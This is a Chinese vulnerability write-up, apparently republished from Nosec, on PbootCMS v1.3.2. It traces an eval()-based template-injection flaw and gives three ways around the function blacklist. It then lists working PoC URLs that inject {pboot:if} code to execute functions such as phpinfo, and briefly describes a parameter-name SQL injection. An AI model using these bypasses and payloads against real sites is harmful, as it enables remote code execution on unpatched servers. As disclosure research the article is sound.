PbootCMS v1.3.2命令执行和SQL注入漏洞

栏目: 编程工具 · 发布时间: 6年前

内容简介:前几天看到个PbootCMS,然后打算审计一波,网上找了这个cms之前的漏洞,看到有表哥审计过这个文章了,这个漏洞目前找到5处,新版本和老版本不同的是新版本加了过滤,但是可以绕过,漏洞函数在ParserController.php里。在2330多行这里,parserIfLabel()方法中调用了eval函数。而且前面有过滤。先忽略过滤内容,一会回来看,看下哪里调用了parserfLabel方法。

PbootCMS v1.3.2命令执行和 <a href='https://www.codercto.com/topics/18630.html'>SQL</a> 注入漏洞

0x00

前几天看到个PbootCMS,然后打算审计一波,网上找了这个cms之前的漏洞,看到有表哥审计过这个文章了, https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=45649&page=1#pid506915 ,可能别的表哥也发现了这个漏洞,这里简单说下我的思路。

0x01 命令执行漏洞

这个漏洞目前找到5处,新版本和老版本不同的是新版本加了过滤,但是可以绕过,漏洞函数在ParserController.php里。在2330多行这里,parserIfLabel()方法中调用了eval函数。而且前面有过滤。先忽略过滤内容,一会回来看,看下哪里调用了parserfLabel方法。

PbootCMS v1.3.2命令执行和SQL注入漏洞

找到了parserIfLabel()方法,而且从下面可以看到在ParserController.php中parserAfter()方法调用了parserIfLabel()方法。

PbootCMS v1.3.2命令执行和SQL注入漏洞

PbootCMS v1.3.2命令执行和SQL注入漏洞

再跟进下parserAfter()方法。根据注释和代码可以分析出这是这个模板在前端渲染的时候,解析标签步骤如下:解析框架标签,解析前置公共标签,解析当前位置标签,解析分类信息标签,解析内容标签,解析公共后置标签。问题出在最后一步“解析公共后置标签”这里,这里存在eval()函数调用。这个函数存在的地方其实可以用一句话表示:

只要存在把用户输入输出到前端的地方,就会有代码执行漏洞。

PbootCMS v1.3.2命令执行和SQL注入漏洞

找到漏洞点,看下过滤。回到parserIfLabel()方法,可以看到“$pattern = ‘/{pboot:if(([^}]+))}([\s\S]*?){\/pboot:if}/’;”这个正则把标签 if 后面的内容取了出来,然后经过过滤并执行。这里主要看下最严重的过滤,在第2316-2331行这里。这里会用正则取出“(”前面的字符串(不包括特殊符号),也就是说@eval(‘phpinfo()’),会取出eval和phpinfo两个字符串,然后调用function_exists()函数,如果这两个方法存在,就不会进入eval()里面。

// 带有函数的条件语句进行安全校验
                if (preg_match_all('/([\w]+)([\s]+)?\(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
                            $danger = true;
                            break;
                        }
                    }
                }

                // 如果有危险函数,则不解析该IF
                if ($danger) {
                    continue;
                } else {
                    $matches[1][$i] = decode_string($matches[1][$i]); // 解码条件字符串
                }

PbootCMS v1.3.2命令执行和SQL注入漏洞

PbootCMS v1.3.2命令执行和SQL注入漏洞

这个是新版本增加的过滤,这里有很多绕过方法,下面说三个:

1 使用空字节,在 php 中,phpinfo()可以用phpinfo%01()~phpinfo%19()代替,就可以使function_exists()方法返回False。这个绕过只有在留言的地方可以用,经过测试只有那里会进行url解码。
2 转义,phpinfo(),换成phpinf\o()、php\info() 之类的,function_exists()方法也会返回False。
3 混淆,代码为$a=$_GET[b];$a();,传参的时候加上&b=phpinfo。

下面找一下调用parserAfter()方法的地方,Index,About,Content,List,Search

PbootCMS v1.3.2命令执行和SQL注入漏洞

验证下是否可以控制前端输出,以Index试一下,可以看到已经可以控制前端输出,说明存在漏洞

PbootCMS v1.3.2命令执行和SQL注入漏洞

构造payload: [http://127.0.0.1/PbootCMS/index.php/index/index?keyword=](http://127.0.0.1/PbootCMS/index.php/index/index?keyword=){pboot:if(1)$a=$_GET[b];$a();;//)})}}{/pboot:if}&b=phpinfo

PbootCMS v1.3.2命令执行和SQL注入漏洞

其他几处同理

PbootCMS v1.3.2命令执行和SQL注入漏洞

PbootCMS v1.3.2命令执行和SQL注入漏洞

POC:

http://127.0.0.1/PbootCMS/index.php/index/index?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo

http://127.0.0.1/PbootCMS/index.php/Content/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo

http://127.0.0.1/PbootCMS/index.php/List/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo

http://127.0.0.1/PbootCMS/index.php/About/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo

http://127.0.0.1/PbootCMS/index.php/Search/index?keyword={pboot:if(1)$a=$_GET[title];$a();//)})}}{/pboot:if}&title=phpinfo

留言那里还有一处,但是需要管理员开启留言展示,利用有限。

0x02 SQL注入漏洞

这个注入在1.3.2已经修复了,简单说下,漏洞存在于ParserController.php中parserSearchLabel()方法。新版本已经修复,参数名不能含有除了“-”,“.”外的特殊字符。

PbootCMS v1.3.2命令执行和SQL注入漏洞

PbootCMS v1.3.2命令执行和SQL注入漏洞

这个注入点在参数名,前面有AND,可以用报错注入。

0x03 漏洞POC

目前FOFA客户端平台已经更新该漏洞检测POC。

PbootCMS v1.3.2命令执行和SQL注入漏洞

本文由白帽汇编写,转载请注明 来自白帽汇Nosec: https://nosec.org/home/detail/2001.html

查看更多安全动态,请访问[ nosec.org ]


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

码农翻身

码农翻身

刘欣 / 电子工业出版社 / 2018-6-1 / 69.00元

《码农翻身》用故事的方式讲解了软件编程的若干重要领域,侧重于基础性、原理性的知识。 《码农翻身》分为6章。第1章讲述计算机的基础知识;第2章侧重讲解Java的基础知识;第3章偏重Web后端编程;第4章讲解代码管理的本质;第5章讲述了JavaScript的历史、Node.js的原理、程序的链接、命令式和声明式编程的区别,以及作者十多年来使用各种编程语言的感受;第6章是作者的经验总结和心得体会,......一起来看看 《码农翻身》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具